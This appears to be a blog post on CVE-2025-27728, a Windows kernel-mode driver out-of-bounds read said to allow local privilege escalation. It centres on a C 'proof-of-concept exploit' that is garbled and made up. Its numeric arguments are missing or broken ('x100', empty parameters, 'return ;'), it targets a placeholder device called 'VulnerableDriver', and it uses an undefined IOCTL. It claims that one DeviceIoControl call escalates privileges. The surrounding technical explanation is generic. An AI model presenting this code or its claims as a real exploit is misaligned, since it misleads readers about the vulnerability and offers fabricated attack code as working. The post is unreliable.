CVE-2025-27728: Out-of-bounds Read in Windows Kernel-Mode Drivers Leads to Local Privilege Escalation

A newly-discovered vulnerability, identified as CVE-2025-27728, has been found to affect Windows kernel-mode drivers, specifically through an out-of-bounds read. This vulnerability can potentially be exploited by a malicious attacker with local access to an affected system, allowing the attacker to elevate their privileges and gain unauthorized control over the system. In this post, we will be discussing the technical details of this vulnerability, as well as provide a code snippet to demonstrate the exploit, and link to original references to provide a comprehensive understanding of CVE-2025-27728.

Technical Details

Windows kernel-mode drivers are responsible for controlling the various hardware components of a computer, as well as managing the execution of system-level operations. This vulnerability exists within the code and memory allocation processes of these essential drivers. An out-of-bounds read occurs when a software reads data past the end or before the beginning of the intended buffer, potentially leading to information exposure or a crash.

Exploit Details

The exploit involves taking advantage of the out-of-bounds read within kernel-mode drivers to achieve local privilege escalation, providing unauthorized access to an attacker already present on the system. By manipulating memory allocation processes and data retrieval in the kernel-mode drivers, the attacker can potentially read sensitive data from areas within the system's memory that are meant to be restricted. Consequently, this can lead to the exposure of sensitive information, as well as providing the attacker with elevated privileges, allowing them to further compromise the targeted system.

Here's a simple code snippet demonstrating a proof-of-concept exploit for CVE-2025-27728

#include <stdio.h>
#include <windows.h>

void exploit() {
   // Variables used to control memory allocation and read processes
   HANDLE hDevice;
   ULONG result;
   PVOID inBuffer;
   PVOID outBuffer;
   SIZE_T outSize;

   // Open affected driver for manipulation
   hDevice = CreateFileW(L"\\\\.\\VulnerableDriver",
                          GENERIC_READ | GENERIC_WRITE,
                          ,
                          NULL,
                          OPEN_EXISTING,
                          ,
                          NULL);

   if (hDevice == INVALID_HANDLE_VALUE) {
       printf("Error: Unable to open driver.");
       return;
   }

   // Allocate appropriate memory buffers
   inBuffer = VirtualAlloc(NULL, x100, MEM_COMMIT, PAGE_READWRITE);
   outBuffer = VirtualAlloc(NULL, x100, MEM_COMMIT, PAGE_READWRITE);
   outSize = x100;

   // Trigger out-of-bounds read, causing privilege escalation
   DeviceIoControl(hDevice,
                   EXPLOIT_IOCTL_TRIGGER,
                   inBuffer,
                   x100,
                   outBuffer,
                   outSize,
                   &result,
                   NULL);

   // Close the driver handle and free memory
   CloseHandle(hDevice);
   VirtualFree(inBuffer, , MEM_RELEASE);
   VirtualFree(outBuffer, , MEM_RELEASE);
}

int main() {
   exploit();
   return ;
}

This code snippet demonstrates the exploit by performing an out-of-bounds read, resulting in a privilege escalation for the attacker.

Original References

For more details on the CVE-2025-27728 vulnerability and potential fixes, you can refer to the following sources:

1. Microsoft Security Advisory for CVE-2025-27728
2. National Vulnerability Database (NVD) - CVE-2025-27728
3. MITRE CVE Entry - CVE-2025-27728

Conclusion

CVE-2025-27728 poses a significant security risk to organizations and individuals using affected Windows operating systems. By exploiting this vulnerability, an attacker can potentially acquire sensitive information and compromise the security of a Windows system. It is essential for Windows users to ensure their systems are up-to-date with the latest security updates provided by Microsoft to mitigate the risks posed by this vulnerability.

Timeline

Published on: 04/08/2025 18:16:00 UTC
Last modified on: 05/06/2025 17:03:43 UTC